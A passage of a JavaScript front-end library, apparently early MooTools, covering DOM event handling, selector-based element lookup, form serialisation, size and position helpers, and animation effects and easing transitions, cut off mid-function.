  995.     relatedTarget: function() {
  996.         if (this.relatedTarget && this.relatedTarget.nodeType == 3) this.relatedTarget = this.relatedTarget.parentNode;
  997.     },
  998.     relatedTargetGecko: function() {
  999.         try {
  1000.             Event.fix.relatedTarget.call(this);
  1001.         } catch (e) {
  1002.             this.relatedTarget = this.target;
  1003.         }
  1004.     }
  1005. };
  1006. Event.prototype.fixRelatedTarget = (window.gecko) ? Event.fix.relatedTargetGecko : Event.fix.relatedTarget;
  1007. Event.keys = new Abstract({
  1008.     'enter': 13,
  1009.     'up': 38,
  1010.     'down': 40,
  1011.     'left': 37,
  1012.     'right': 39,
  1013.     'esc': 27,
  1014.     'space': 32,
  1015.     'backspace': 8,
  1016.     'tab': 9,
  1017.     'delete': 46
  1018. });
  1019. Element.Methods.Events = {
  1020.     addEvent: function(type, fn) {
  1021.         this.$events = this.$events || {};
  1022.         this.$events[type] = this.$events[type] || {
  1023.             'keys': [],
  1024.             'values': []
  1025.         };
  1026.         if (this.$events[type].keys.contains(fn)) return this;
  1027.         this.$events[type].keys.push(fn);
  1028.         var realType = type;
  1029.         var custom = Element.Events[type];
  1030.         if (custom) {
  1031.             if (custom.add) custom.add.call(this, fn);
  1032.             if (custom.map) fn = custom.map;
  1033.             if (custom.type) realType = custom.type;
  1034.         }
  1035.         if (!this.addEventListener) fn = fn.create({
  1036.             'bind': this,
  1037.             'event': true
  1038.         });
  1039.         this.$events[type].values.push(fn);
  1040.         return (Element.NativeEvents.contains(realType)) ? this.addListener(realType, fn) : this;
  1041.     },
  1042.     removeEvent: function(type, fn) {
  1043.         if (!this.$events || !this.$events[type]) return this;
  1044.         var pos = this.$events[type].keys.indexOf(fn);
  1045.         if (pos == -1) return this;
  1046.         var key = this.$events[type].keys.splice(pos, 1)[0];
  1047.         var value = this.$events[type].values.splice(pos, 1)[0];
  1048.         var custom = Element.Events[type];
  1049.         if (custom) {
  1050.             if (custom.remove) custom.remove.call(this, fn);
  1051.             if (custom.type) type = custom.type;
  1052.         }
  1053.         return (Element.NativeEvents.contains(type)) ? this.removeListener(type, value) : this;
  1054.     },
  1055.     addEvents: function(source) {
  1056.         return Element.setMany(this, 'addEvent', source);
  1057.     },
  1058.     removeEvents: function(type) {
  1059.         if (!this.$events) return this;
  1060.         if (!type) {
  1061.             for (var evType in this.$events) this.removeEvents(evType);
  1062.             this.$events = null;
  1063.         } else if (this.$events[type]) {
  1064.             this.$events[type].keys.each(function(fn) {
  1065.                 this.removeEvent(type, fn);
  1066.             }, this);
  1067.             this.$events[type] = null;
  1068.         }
  1069.         return this;
  1070.     },
  1071.     fireEvent: function(type, args, delay) {
  1072.         if (this.$events && this.$events[type]) {
  1073.             this.$events[type].keys.each(function(fn) {
  1074.                 fn.create({
  1075.                     'bind': this,
  1076.                     'delay': delay,
  1077.                     'arguments': args
  1078.                 })();
  1079.             }, this);
  1080.         }
  1081.         return this;
  1082.     },
  1083.     cloneEvents: function(from, type) {
  1084.         if (!from.$events) return this;
  1085.         if (!type) {
  1086.             for (var evType in from.$events) this.cloneEvents(from, evType);
  1087.         } else if (from.$events[type]) {
  1088.             from.$events[type].keys.each(function(fn) {
  1089.                 this.addEvent(type, fn);
  1090.             }, this);
  1091.         }
  1092.         return this;
  1093.     }
  1094. };
  1095. window.extend(Element.Methods.Events);
  1096. document.extend(Element.Methods.Events);
  1097. Element.extend(Element.Methods.Events);
  1098. Element.Events = new Abstract({
  1099.     'mouseenter': {
  1100.         type: 'mouseover',
  1101.         map: function(event) {
  1102.             event = new Event(event);
  1103.             if (event.relatedTarget != this && !this.hasChild(event.relatedTarget)) this.fireEvent('mouseenter', event);
  1104.         }
  1105.     },
  1106.     'mouseleave': {
  1107.         type: 'mouseout',
  1108.         map: function(event) {
  1109.             event = new Event(event);
  1110.             if (event.relatedTarget != this && !this.hasChild(event.relatedTarget)) this.fireEvent('mouseleave', event);
  1111.         }
  1112.     },
  1113.     'mousewheel': {
  1114.         type: (window.gecko) ? 'DOMMouseScroll' : 'mousewheel'
  1115.     }
  1116. });
  1117. Element.NativeEvents = ['click', 'dblclick', 'mouseup', 'mousedown', 'mousewheel', 'DOMMouseScroll', 'mouseover', 'mouseout', 'mousemove', 'keydown', 'keypress', 'keyup', 'load', 'unload', 'beforeunload', 'resize', 'move', 'focus', 'blur', 'change', 'submit', 'reset', 'select', 'error', 'abort', 'contextmenu', 'scroll'];
  1118. Function.extend({
  1119.     bindWithEvent: function(bind, args) {
  1120.         return this.create({
  1121.             'bind': bind,
  1122.             'arguments': args,
  1123.             'event': Event
  1124.         });
  1125.     }
  1126. });
  1127. Elements.extend({
  1128.     filterByTag: function(tag) {
  1129.         return new Elements(this.filter(function(el) {
  1130.             return (Element.getTag(el) == tag);
  1131.         }));
  1132.     },
  1133.     filterByClass: function(className, nocash) {
  1134.         var elements = this.filter(function(el) {
  1135.             return (el.className && el.className.contains(className, ' '));
  1136.         });
  1137.         return (nocash) ? elements : new Elements(elements);
  1138.     },
  1139.     filterById: function(id, nocash) {
  1140.         var elements = this.filter(function(el) {
  1141.             return (el.id == id);
  1142.         });
  1143.         return (nocash) ? elements : new Elements(elements);
  1144.     },
  1145.     filterByAttribute: function(name, operator, value, nocash) {
  1146.         var elements = this.filter(function(el) {
  1147.             var current = Element.getProperty(el, name);
  1148.             if (!current) return false;
  1149.             if (!operator) return true;
  1150.             switch (operator) {
  1151.             case '=':
  1152.                 return (current == value);
  1153.             case '*=':
  1154.                 return (current.contains(value));
  1155.             case '^=':
  1156.                 return (current.substr(0, value.length) == value);
  1157.             case '$=':
  1158.                 return (current.substr(current.length - value.length) == value);
  1159.             case '!=':
  1160.                 return (current != value);
  1161.             case '~=':
  1162.                 return current.contains(value, ' ');
  1163.             }
  1164.             return false;
  1165.         });
  1166.         return (nocash) ? elements : new Elements(elements);
  1167.     }
  1168. });

  1169. function $E(selector, filter) {
  1170.     return ($(filter) || document).getElement(selector);
  1171. };

  1172. function $ES(selector, filter) {
  1173.     return ($(filter) || document).getElementsBySelector(selector);
  1174. };
  1175. $.shared = {
  1176.     'regexp': /^(\w*|\*)(?:#([\w-]+)|\.([\w-]+))?(?:\[(\w+)(?:([!*^$]?=)["']?([^"'\]]*)["']?)?])?$/,
  1177.     'xpath': {
  1178.         getParam: function(items, context, param, i) {
  1179.             var temp = [context.namespaceURI ? 'xhtml:' : '', param[1]];
  1180.             if (param[2]) temp.push('[@id="', param[2], '"]');
  1181.             if (param[3]) temp.push('[contains(concat(" ", @class, " "), " ', param[3], ' ")]');
  1182.             if (param[4]) {
  1183.                 if (param[5] && param[6]) {
  1184.                     switch (param[5]) {
  1185.                     case '*=':
  1186.                         temp.push('[contains(@', param[4], ', "', param[6], '")]');
  1187.                         break;
  1188.                     case '^=':
  1189.                         temp.push('[starts-with(@', param[4], ', "', param[6], '")]');
  1190.                         break;
  1191.                     case '$=':
  1192.                         temp.push('[substring(@', param[4], ', string-length(@', param[4], ') - ', param[6].length, ' + 1) = "', param[6], '"]');
  1193.                         break;
  1194.                     case '=':
  1195.                         temp.push('[@', param[4], '="', param[6], '"]');
  1196.                         break;
  1197.                     case '!=':
  1198.                         temp.push('[@', param[4], '!="', param[6], '"]');
  1199.                     }
  1200.                 } else {
  1201.                     temp.push('[@', param[4], ']');
  1202.                 }
  1203.             }
  1204.             items.push(temp.join(''));
  1205.             return items;
  1206.         },
  1207.         getItems: function(items, context, nocash) {
  1208.             var elements = [];
  1209.             var xpath = document.evaluate('.//' + items.join('//'), context, $.shared.resolver, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  1210.             for (var i = 0, j = xpath.snapshotLength; i < j; i++) elements.push(xpath.snapshotItem(i));
  1211.             return (nocash) ? elements : new Elements(elements.map($));
  1212.         }
  1213.     },
  1214.     'normal': {
  1215.         getParam: function(items, context, param, i) {
  1216.             if (i == 0) {
  1217.                 if (param[2]) {
  1218.                     var el = context.getElementById(param[2]);
  1219.                     if (!el || ((param[1] != '*') && (Element.getTag(el) != param[1]))) return false;
  1220.                     items = [el];
  1221.                 } else {
  1222.                     items = $A(context.getElementsByTagName(param[1]));
  1223.                 }
  1224.             } else {
  1225.                 items = $.shared.getElementsByTagName(items, param[1]);
  1226.                 if (param[2]) items = Elements.filterById(items, param[2], true);
  1227.             }
  1228.             if (param[3]) items = Elements.filterByClass(items, param[3], true);
  1229.             if (param[4]) items = Elements.filterByAttribute(items, param[4], param[5], param[6], true);
  1230.             return items;
  1231.         },
  1232.         getItems: function(items, context, nocash) {
  1233.             return (nocash) ? items : $.unique(items);
  1234.         }
  1235.     },
  1236.     resolver: function(prefix) {
  1237.         return (prefix == 'xhtml') ? 'http://www.w3.org/1999/xhtml' : false;
  1238.     },
  1239.     getElementsByTagName: function(context, tagName) {
  1240.         var found = [];
  1241.         for (var i = 0, j = context.length; i < j; i++) found.extend(context[i].getElementsByTagName(tagName));
  1242.         return found;
  1243.     }
  1244. };
  1245. $.shared.method = (window.xpath) ? 'xpath' : 'normal';
  1246. Element.Methods.Dom = {
  1247.     getElements: function(selector, nocash) {
  1248.         var items = [];
  1249.         selector = selector.trim().split(' ');
  1250.         for (var i = 0, j = selector.length; i < j; i++) {
  1251.             var sel = selector[i];
  1252.             var param = sel.match($.shared.regexp);
  1253.             if (!param) break;
  1254.             param[1] = param[1] || '*';
  1255.             var temp = $.shared[$.shared.method].getParam(items, this, param, i);
  1256.             if (!temp) break;
  1257.             items = temp;
  1258.         }
  1259.         return $.shared[$.shared.method].getItems(items, this, nocash);
  1260.     },
  1261.     getElement: function(selector) {
  1262.         return $(this.getElements(selector, true)[0] || false);
  1263.     },
  1264.     getElementsBySelector: function(selector, nocash) {
  1265.         var elements = [];
  1266.         selector = selector.split(',');
  1267.         for (var i = 0, j = selector.length; i < j; i++) elements = elements.concat(this.getElements(selector[i], true));
  1268.         return (nocash) ? elements : $.unique(elements);
  1269.     }
  1270. };
  1271. Element.extend({
  1272.     getElementById: function(id) {
  1273.         var el = document.getElementById(id);
  1274.         if (!el) return false;
  1275.         for (var parent = el.parentNode; parent != this; parent = parent.parentNode) {
  1276.             if (!parent) return false;
  1277.         }
  1278.         return el;
  1279.     },
  1280.     getElementsByClassName: function(className) {
  1281.         return this.getElements('.' + className);
  1282.     }
  1283. });
  1284. document.extend(Element.Methods.Dom);
  1285. Element.extend(Element.Methods.Dom);
  1286. Element.extend({
  1287.     getValue: function() {
  1288.         switch (this.getTag()) {
  1289.         case 'select':
  1290.             var values = [];
  1291.             $each(this.options, function(option) {
  1292.                 if (option.selected) values.push($pick(option.value, option.text));
  1293.             });
  1294.             return (this.multiple) ? values : values[0];
  1295.         case 'input':
  1296.             if (!(this.checked && ['checkbox', 'radio'].contains(this.type)) && !['hidden', 'text', 'password'].contains(this.type)) break;
  1297.         case 'textarea':
  1298.             return this.value;
  1299.         }
  1300.         return false;
  1301.     },
  1302.     getFormElements: function() {
  1303.         return $(this.getElementsByTagName('input'), this.getElementsByTagName('select'), this.getElementsByTagName('textarea'));
  1304.     },
  1305.     toQueryString: function() {
  1306.         var queryString = [];
  1307.         this.getFormElements().each(function(el) {
  1308.             var name = el.name;
  1309.             var value = el.getValue();
  1310.             if (value === false || !name || el.disabled) return;
  1311.             var qs = function(val) {
  1312.                     queryString.push(name + '=' + encodeURIComponent(val));
  1313.                 };
  1314.             if ($type(value) == 'array') value.each(qs);
  1315.             else qs(value);
  1316.         });
  1317.         return queryString.join('&');
  1318.     }
  1319. });
  1320. Element.extend({
  1321.     scrollTo: function(x, y) {
  1322.         this.scrollLeft = x;
  1323.         this.scrollTop = y;
  1324.     },
  1325.     getSize: function() {
  1326.         return {
  1327.             'scroll': {
  1328.                 'x': this.scrollLeft,
  1329.                 'y': this.scrollTop
  1330.             },
  1331.             'size': {
  1332.                 'x': this.offsetWidth,
  1333.                 'y': this.offsetHeight
  1334.             },
  1335.             'scrollSize': {
  1336.                 'x': this.scrollWidth,
  1337.                 'y': this.scrollHeight
  1338.             }
  1339.         };
  1340.     },
  1341.     getPosition: function(overflown) {
  1342.         overflown = overflown || [];
  1343.         var el = this,
  1344.             left = 0,
  1345.             top = 0;
  1346.         do {
  1347.             left += el.offsetLeft || 0;
  1348.             top += el.offsetTop || 0;
  1349.             el = el.offsetParent;
  1350.         } while (el);
  1351.         overflown.each(function(element) {
  1352.             left -= element.scrollLeft || 0;
  1353.             top -= element.scrollTop || 0;
  1354.         });
  1355.         return {
  1356.             'x': left,
  1357.             'y': top
  1358.         };
  1359.     },
  1360.     getTop: function(overflown) {
  1361.         return this.getPosition(overflown).y;
  1362.     },
  1363.     getLeft: function(overflown) {
  1364.         return this.getPosition(overflown).x;
  1365.     },
  1366.     getCoordinates: function(overflown) {
  1367.         var position = this.getPosition(overflown);
  1368.         var obj = {
  1369.             'width': this.offsetWidth,
  1370.             'height': this.offsetHeight,
  1371.             'left': position.x,
  1372.             'top': position.y
  1373.         };
  1374.         obj.right = obj.left + obj.width;
  1375.         obj.bottom = obj.top + obj.height;
  1376.         return obj;
  1377.     }
  1378. });
  1379. Element.Events.domready = {
  1380.     add: function(fn) {
  1381.         if (window.loaded) {
  1382.             fn.call(this);
  1383.             return;
  1384.         }
  1385.         var domReady = function() {
  1386.                 if (window.loaded) return;
  1387.                 window.loaded = true;
  1388.                 window.timer = $clear(window.timer);
  1389.                 this.fireEvent('domready');
  1390.             }.bind(this);
  1391.         if (document.readyState && window.webkit) {
  1392.             window.timer = function() {
  1393.                 if (['loaded', 'complete'].contains(document.readyState)) domReady();
  1394.             }.periodical(50);
  1395.         } else if (document.readyState && window.ie) {
  1396.             if (!$('ie_ready')) {
  1397.                 var src = (window.location.protocol == 'https:') ? '://0' : 'javascript:void(0)';
  1398.                 document.write('<script id="ie_ready" defer src="' + src + '"><\/script>');
  1399.                 $('ie_ready').onreadystatechange = function() {
  1400.                     if (this.readyState == 'complete') domReady();
  1401.                 };
  1402.             }
  1403.         } else {
  1404.             window.addListener("load", domReady);
  1405.             document.addListener("DOMContentLoaded", domReady);
  1406.         }
  1407.     }
  1408. };
  1409. window.onDomReady = function(fn) {
  1410.     return this.addEvent('domready', fn);
  1411. };
  1412. window.extend({
  1413.     getWidth: function() {
  1414.         if (this.webkit419) return this.innerWidth;
  1415.         if (this.opera) return document.body.clientWidth;
  1416.         return document.documentElement.clientWidth;
  1417.     },
  1418.     getHeight: function() {
  1419.         if (this.webkit419) return this.innerHeight;
  1420.         if (this.opera) return document.body.clientHeight;
  1421.         return document.documentElement.clientHeight;
  1422.     },
  1423.     getScrollWidth: function() {
  1424.         if (this.ie) return Math.max(document.documentElement.offsetWidth, document.documentElement.scrollWidth);
  1425.         if (this.webkit) return document.body.scrollWidth;
  1426.         return document.documentElement.scrollWidth;
  1427.     },
  1428.     getScrollHeight: function() {
  1429.         if (this.ie) return Math.max(document.documentElement.offsetHeight, document.documentElement.scrollHeight);
  1430.         if (this.webkit) return document.body.scrollHeight;
  1431.         return document.documentElement.scrollHeight;
  1432.     },
  1433.     getScrollLeft: function() {
  1434.         return this.pageXOffset || document.documentElement.scrollLeft;
  1435.     },
  1436.     getScrollTop: function() {
  1437.         return this.pageYOffset || document.documentElement.scrollTop;
  1438.     },
  1439.     getSize: function() {
  1440.         return {
  1441.             'size': {
  1442.                 'x': this.getWidth(),
  1443.                 'y': this.getHeight()
  1444.             },
  1445.             'scrollSize': {
  1446.                 'x': this.getScrollWidth(),
  1447.                 'y': this.getScrollHeight()
  1448.             },
  1449.             'scroll': {
  1450.                 'x': this.getScrollLeft(),
  1451.                 'y': this.getScrollTop()
  1452.             }
  1453.         };
  1454.     },
  1455.     getPosition: function() {
  1456.         return {
  1457.             'x': 0,
  1458.             'y': 0
  1459.         };
  1460.     }
  1461. });
  1462. var Fx = {};
  1463. Fx.Base = new Class({
  1464.     options: {
  1465.         onStart: Class.empty,
  1466.         onComplete: Class.empty,
  1467.         onCancel: Class.empty,
  1468.         transition: function(p) {
  1469.             return -(Math.cos(Math.PI * p) - 1) / 2;
  1470.         },
  1471.         duration: 500,
  1472.         unit: 'px',
  1473.         wait: true,
  1474.         fps: 50
  1475.     },
  1476.     initialize: function(options) {
  1477.         this.element = this.element || null;
  1478.         this.setOptions(options);
  1479.         if (this.options.initialize) this.options.initialize.call(this);
  1480.     },
  1481.     step: function() {
  1482.         var time = $time();
  1483.         if (time < this.time + this.options.duration) {
  1484.             this.delta = this.options.transition((time - this.time) / this.options.duration);
  1485.             this.setNow();
  1486.             this.increase();
  1487.         } else {
  1488.             this.stop(true);
  1489.             this.set(this.to);
  1490.             this.fireEvent('onComplete', this.element, 10);
  1491.             this.callChain();
  1492.         }
  1493.     },
  1494.     set: function(to) {
  1495.         this.now = to;
  1496.         this.increase();
  1497.         return this;
  1498.     },
  1499.     setNow: function() {
  1500.         this.now = this.compute(this.from, this.to);
  1501.     },
  1502.     compute: function(from, to) {
  1503.         return (to - from) * this.delta + from;
  1504.     },
  1505.     start: function(from, to) {
  1506.         if (!this.options.wait) this.stop();
  1507.         else if (this.timer) return this;
  1508.         this.from = from;
  1509.         this.to = to;
  1510.         this.change = this.to - this.from;
  1511.         this.time = $time();
  1512.         this.timer = this.step.periodical(Math.round(1000 / this.options.fps), this);
  1513.         this.fireEvent('onStart', this.element);
  1514.         return this;
  1515.     },
  1516.     stop: function(end) {
  1517.         if (!this.timer) return this;
  1518.         this.timer = $clear(this.timer);
  1519.         if (!end) this.fireEvent('onCancel', this.element);
  1520.         return this;
  1521.     },
  1522.     custom: function(from, to) {
  1523.         return this.start(from, to);
  1524.     },
  1525.     clearTimer: function(end) {
  1526.         return this.stop(end);
  1527.     }
  1528. });
  1529. Fx.Base.implement(new Chain, new Events, new Options);
  1530. Fx.CSS = {
  1531.     select: function(property, to) {
  1532.         if (property.test(/color/i)) return this.Color;
  1533.         var type = $type(to);
  1534.         if ((type == 'array') || (type == 'string' && to.contains(' '))) return this.Multi;
  1535.         return this.Single;
  1536.     },
  1537.     parse: function(el, property, fromTo) {
  1538.         if (!fromTo.push) fromTo = [fromTo];
  1539.         var from = fromTo[0],
  1540.             to = fromTo[1];
  1541.         if (!$chk(to)) {
  1542.             to = from;
  1543.             from = el.getStyle(property);
  1544.         }
  1545.         var css = this.select(property, to);
  1546.         return {
  1547.             'from': css.parse(from),
  1548.             'to': css.parse(to),
  1549.             'css': css
  1550.         };
  1551.     }
  1552. };
  1553. Fx.CSS.Single = {
  1554.     parse: function(value) {
  1555.         return parseFloat(value);
  1556.     },
  1557.     getNow: function(from, to, fx) {
  1558.         return fx.compute(from, to);
  1559.     },
  1560.     getValue: function(value, unit, property) {
  1561.         if (unit == 'px' && property != 'opacity') value = Math.round(value);
  1562.         return value + unit;
  1563.     }
  1564. };
  1565. Fx.CSS.Multi = {
  1566.     parse: function(value) {
  1567.         return value.push ? value : value.split(' ').map(function(v) {
  1568.             return parseFloat(v);
  1569.         });
  1570.     },
  1571.     getNow: function(from, to, fx) {
  1572.         var now = [];
  1573.         for (var i = 0; i < from.length; i++) now[i] = fx.compute(from[i], to[i]);
  1574.         return now;
  1575.     },
  1576.     getValue: function(value, unit, property) {
  1577.         if (unit == 'px' && property != 'opacity') value = value.map(Math.round);
  1578.         return value.join(unit + ' ') + unit;
  1579.     }
  1580. };
  1581. Fx.CSS.Color = {
  1582.     parse: function(value) {
  1583.         return value.push ? value : value.hexToRgb(true);
  1584.     },
  1585.     getNow: function(from, to, fx) {
  1586.         var now = [];
  1587.         for (var i = 0; i < from.length; i++) now[i] = Math.round(fx.compute(from[i], to[i]));
  1588.         return now;
  1589.     },
  1590.     getValue: function(value) {
  1591.         return 'rgb(' + value.join(',') + ')';
  1592.     }
  1593. };
  1594. Fx.Style = Fx.Base.extend({
  1595.     initialize: function(el, property, options) {
  1596.         this.element = $(el);
  1597.         this.property = property;
  1598.         this.parent(options);
  1599.     },
  1600.     hide: function() {
  1601.         return this.set(0);
  1602.     },
  1603.     setNow: function() {
  1604.         this.now = this.css.getNow(this.from, this.to, this);
  1605.     },
  1606.     set: function(to) {
  1607.         this.css = Fx.CSS.select(this.property, to);
  1608.         return this.parent(this.css.parse(to));
  1609.     },
  1610.     start: function(from, to) {
  1611.         if (this.timer && this.options.wait) return this;
  1612.         var parsed = Fx.CSS.parse(this.element, this.property, [from, to]);
  1613.         this.css = parsed.css;
  1614.         return this.parent(parsed.from, parsed.to);
  1615.     },
  1616.     increase: function() {
  1617.         this.element.setStyle(this.property, this.css.getValue(this.now, this.options.unit, this.property));
  1618.     }
  1619. });
  1620. Element.extend({
  1621.     effect: function(property, options) {
  1622.         return new Fx.Style(this, property, options);
  1623.     }
  1624. });
  1625. Fx.Styles = Fx.Base.extend({
  1626.     initialize: function(el, options) {
  1627.         this.element = $(el);
  1628.         this.parent(options);
  1629.     },
  1630.     setNow: function() {
  1631.         for (var p in this.from) this.now[p] = this.css[p].getNow(this.from[p], this.to[p], this);
  1632.     },
  1633.     set: function(to) {
  1634.         var parsed = {};
  1635.         this.css = {};
  1636.         for (var p in to) {
  1637.             this.css[p] = Fx.CSS.select(p, to[p]);
  1638.             parsed[p] = this.css[p].parse(to[p]);
  1639.         }
  1640.         return this.parent(parsed);
  1641.     },
  1642.     start: function(obj) {
  1643.         if (this.timer && this.options.wait) return this;
  1644.         this.now = {};
  1645.         this.css = {};
  1646.         var from = {},
  1647.             to = {};
  1648.         for (var p in obj) {
  1649.             var parsed = Fx.CSS.parse(this.element, p, obj[p]);
  1650.             from[p] = parsed.from;
  1651.             to[p] = parsed.to;
  1652.             this.css[p] = parsed.css;
  1653.         }
  1654.         return this.parent(from, to);
  1655.     },
  1656.     increase: function() {
  1657.         for (var p in this.now) this.element.setStyle(p, this.css[p].getValue(this.now[p], this.options.unit, p));
  1658.     }
  1659. });
  1660. Element.extend({
  1661.     effects: function(options) {
  1662.         return new Fx.Styles(this, options);
  1663.     }
  1664. });
  1665. Fx.Elements = Fx.Base.extend({
  1666.     initialize: function(elements, options) {
  1667.         this.elements = $(elements);
  1668.         this.parent(options);
  1669.     },
  1670.     setNow: function() {
  1671.         for (var i in this.from) {
  1672.             var iFrom = this.from[i],
  1673.                 iTo = this.to[i],
  1674.                 iCss = this.css[i],
  1675.                 iNow = this.now[i] = {};
  1676.             for (var p in iFrom) iNow[p] = iCss[p].getNow(iFrom[p], iTo[p], this);
  1677.         }
  1678.     },
  1679.     set: function(to) {
  1680.         var parsed = {};
  1681.         this.css = {};
  1682.         for (var i in to) {
  1683.             var iTo = to[i],
  1684.                 iCss = this.css[i] = {},
  1685.                 iParsed = parsed[i] = {};
  1686.             for (var p in iTo) {
  1687.                 iCss[p] = Fx.CSS.select(p, iTo[p]);
  1688.                 iParsed[p] = iCss[p].parse(iTo[p]);
  1689.             }
  1690.         }
  1691.         return this.parent(parsed);
  1692.     },
  1693.     start: function(obj) {
  1694.         if (this.timer && this.options.wait) return this;
  1695.         this.now = {};
  1696.         this.css = {};
  1697.         var from = {},
  1698.             to = {};
  1699.         for (var i in obj) {
  1700.             var iProps = obj[i],
  1701.                 iFrom = from[i] = {},
  1702.                 iTo = to[i] = {},
  1703.                 iCss = this.css[i] = {};
  1704.             for (var p in iProps) {
  1705.                 var parsed = Fx.CSS.parse(this.elements[i], p, iProps[p]);
  1706.                 iFrom[p] = parsed.from;
  1707.                 iTo[p] = parsed.to;
  1708.                 iCss[p] = parsed.css;
  1709.             }
  1710.         }
  1711.         return this.parent(from, to);
  1712.     },
  1713.     increase: function() {
  1714.         for (var i in this.now) {
  1715.             var iNow = this.now[i],
  1716.                 iCss = this.css[i];
  1717.             for (var p in iNow) this.elements[i].setStyle(p, iCss[p].getValue(iNow[p], this.options.unit, p));
  1718.         }
  1719.     }
  1720. });
  1721. Fx.Scroll = Fx.Base.extend({
  1722.     options: {
  1723.         overflown: [],
  1724.         offset: {
  1725.             'x': 0,
  1726.             'y': 0
  1727.         },
  1728.         wheelStops: true
  1729.     },
  1730.     initialize: function(element, options) {
  1731.         this.now = [];
  1732.         this.element = $(element);
  1733.         this.bound = {
  1734.             'stop': this.stop.bind(this, false)
  1735.         };
  1736.         this.parent(options);
  1737.         if (this.options.wheelStops) {
  1738.             this.addEvent('onStart', function() {
  1739.                 document.addEvent('mousewheel', this.bound.stop);
  1740.             }.bind(this));
  1741.             this.addEvent('onComplete', function() {
  1742.                 document.removeEvent('mousewheel', this.bound.stop);
  1743.             }.bind(this));
  1744.         }
  1745.     },
  1746.     setNow: function() {
  1747.         for (var i = 0; i < 2; i++) this.now[i] = this.compute(this.from[i], this.to[i]);
  1748.     },
  1749.     scrollTo: function(x, y) {
  1750.         if (this.timer && this.options.wait) return this;
  1751.         var el = this.element.getSize();
  1752.         var values = {
  1753.             'x': x,
  1754.             'y': y
  1755.         };
  1756.         for (var z in el.size) {
  1757.             var max = el.scrollSize[z] - el.size[z];
  1758.             if ($chk(values[z])) values[z] = ($type(values[z]) == 'number') ? values[z].limit(0, max) : max;
  1759.             else values[z] = el.scroll[z];
  1760.             values[z] += this.options.offset[z];
  1761.         }
  1762.         return this.start([el.scroll.x, el.scroll.y], [values.x, values.y]);
  1763.     },
  1764.     toTop: function() {
  1765.         return this.scrollTo(false, 0);
  1766.     },
  1767.     toBottom: function() {
  1768.         return this.scrollTo(false, 'full');
  1769.     },
  1770.     toLeft: function() {
  1771.         return this.scrollTo(0, false);
  1772.     },
  1773.     toRight: function() {
  1774.         return this.scrollTo('full', false);
  1775.     },
  1776.     toElement: function(el) {
  1777.         var parent = this.element.getPosition(this.options.overflown);
  1778.         var target = $(el).getPosition(this.options.overflown);
  1779.         return this.scrollTo(target.x - parent.x, target.y - parent.y);
  1780.     },
  1781.     increase: function() {
  1782.         this.element.scrollTo(this.now[0], this.now[1]);
  1783.     }
  1784. });
  1785. Fx.Slide = Fx.Base.extend({
  1786.     options: {
  1787.         mode: 'vertical'
  1788.     },
  1789.     initialize: function(el, options) {
  1790.         this.element = $(el);
  1791.         this.wrapper = new Element('div', {
  1792.             'styles': $extend(this.element.getStyles('margin'), {
  1793.                 'overflow': 'hidden'
  1794.             })
  1795.         }).injectAfter(this.element).adopt(this.element);
  1796.         this.element.setStyle('margin', 0);
  1797.         this.setOptions(options);
  1798.         this.now = [];
  1799.         this.parent(this.options);
  1800.         this.open = true;
  1801.         this.addEvent('onComplete', function() {
  1802.             this.open = (this.now[0] === 0);
  1803.         });
  1804.         if (window.webkit419) this.addEvent('onComplete', function() {
  1805.             if (this.open) this.element.remove().inject(this.wrapper);
  1806.         });
  1807.     },
  1808.     setNow: function() {
  1809.         for (var i = 0; i < 2; i++) this.now[i] = this.compute(this.from[i], this.to[i]);
  1810.     },
  1811.     vertical: function() {
  1812.         this.margin = 'margin-top';
  1813.         this.layout = 'height';
  1814.         this.offset = this.element.offsetHeight;
  1815.     },
  1816.     horizontal: function() {
  1817.         this.margin = 'margin-left';
  1818.         this.layout = 'width';
  1819.         this.offset = this.element.offsetWidth;
  1820.     },
  1821.     slideIn: function(mode) {
  1822.         this[mode || this.options.mode]();
  1823.         return this.start([this.element.getStyle(this.margin).toInt(), this.wrapper.getStyle(this.layout).toInt()], [0, this.offset]);
  1824.     },
  1825.     slideOut: function(mode) {
  1826.         this[mode || this.options.mode]();
  1827.         return this.start([this.element.getStyle(this.margin).toInt(), this.wrapper.getStyle(this.layout).toInt()], [-this.offset, 0]);
  1828.     },
  1829.     hide: function(mode) {
  1830.         this[mode || this.options.mode]();
  1831.         this.open = false;
  1832.         return this.set([-this.offset, 0]);
  1833.     },
  1834.     show: function(mode) {
  1835.         this[mode || this.options.mode]();
  1836.         this.open = true;
  1837.         return this.set([0, this.offset]);
  1838.     },
  1839.     toggle: function(mode) {
  1840.         if (this.wrapper.offsetHeight == 0 || this.wrapper.offsetWidth == 0) return this.slideIn(mode);
  1841.         return this.slideOut(mode);
  1842.     },
  1843.     increase: function() {
  1844.         this.element.setStyle(this.margin, this.now[0] + this.options.unit);
  1845.         this.wrapper.setStyle(this.layout, this.now[1] + this.options.unit);
  1846.     }
  1847. });
  1848. Fx.Transition = function(transition, params) {
  1849.     params = params || [];
  1850.     if ($type(params) != 'array') params = [params];
  1851.     return $extend(transition, {
  1852.         easeIn: function(pos) {
  1853.             return transition(pos, params);
  1854.         },
  1855.         easeOut: function(pos) {
  1856.             return 1 - transition(1 - pos, params);
  1857.         },
  1858.         easeInOut: function(pos) {
  1859.             return (pos <= 0.5) ? transition(2 * pos, params) / 2 : (2 - transition(2 * (1 - pos), params)) / 2;
  1860.         }
  1861.     });
  1862. };
  1863. Fx.Transitions = new Abstract({
  1864.     linear: function(p) {
  1865.         return p;
  1866.     }
  1867. });
  1868. Fx.Transitions.extend = function(transitions) {
  1869.     for (var transition in transitions) {
  1870.         Fx.Transitions[transition] = new Fx.Transition(transitions[transition]);
  1871.         Fx.Transitions.compat(transition);
  1872.     }
  1873. };
  1874. Fx.Transitions.compat = function(transition) {
  1875.     ['In', 'Out', 'InOut'].each(function(easeType) {
  1876.         Fx.Transitions[transition.toLowerCase() + easeType] = Fx.Transitions[transition]['ease' + easeType];
  1877.     });
  1878. };
  1879. Fx.Transitions.extend({
  1880.     Pow: function(p, x) {
  1881.         return Math.pow(p, x[0] || 6);
  1882.     },
  1883.     Expo: function(p) {
  1884.         return Math.pow(2, 8 * (p - 1));
  1885.     },
  1886.     Circ: function(p) {
  1887.         return 1 - Math.sin(Math.acos(p));
  1888.     },
  1889.     Sine: function(p) {
  1890.         return 1 - Math.sin((1 - p) * Math.PI / 2);
  1891.     },
  1892.     Back: function(p, x) {
  1893.         x = x[0] || 1.618;
  1894.         return Math.pow(p, 2) * ((x + 1) * p - x);
  1895.     },
  1896.     Bounce: function(p) {
  1897.         var value;
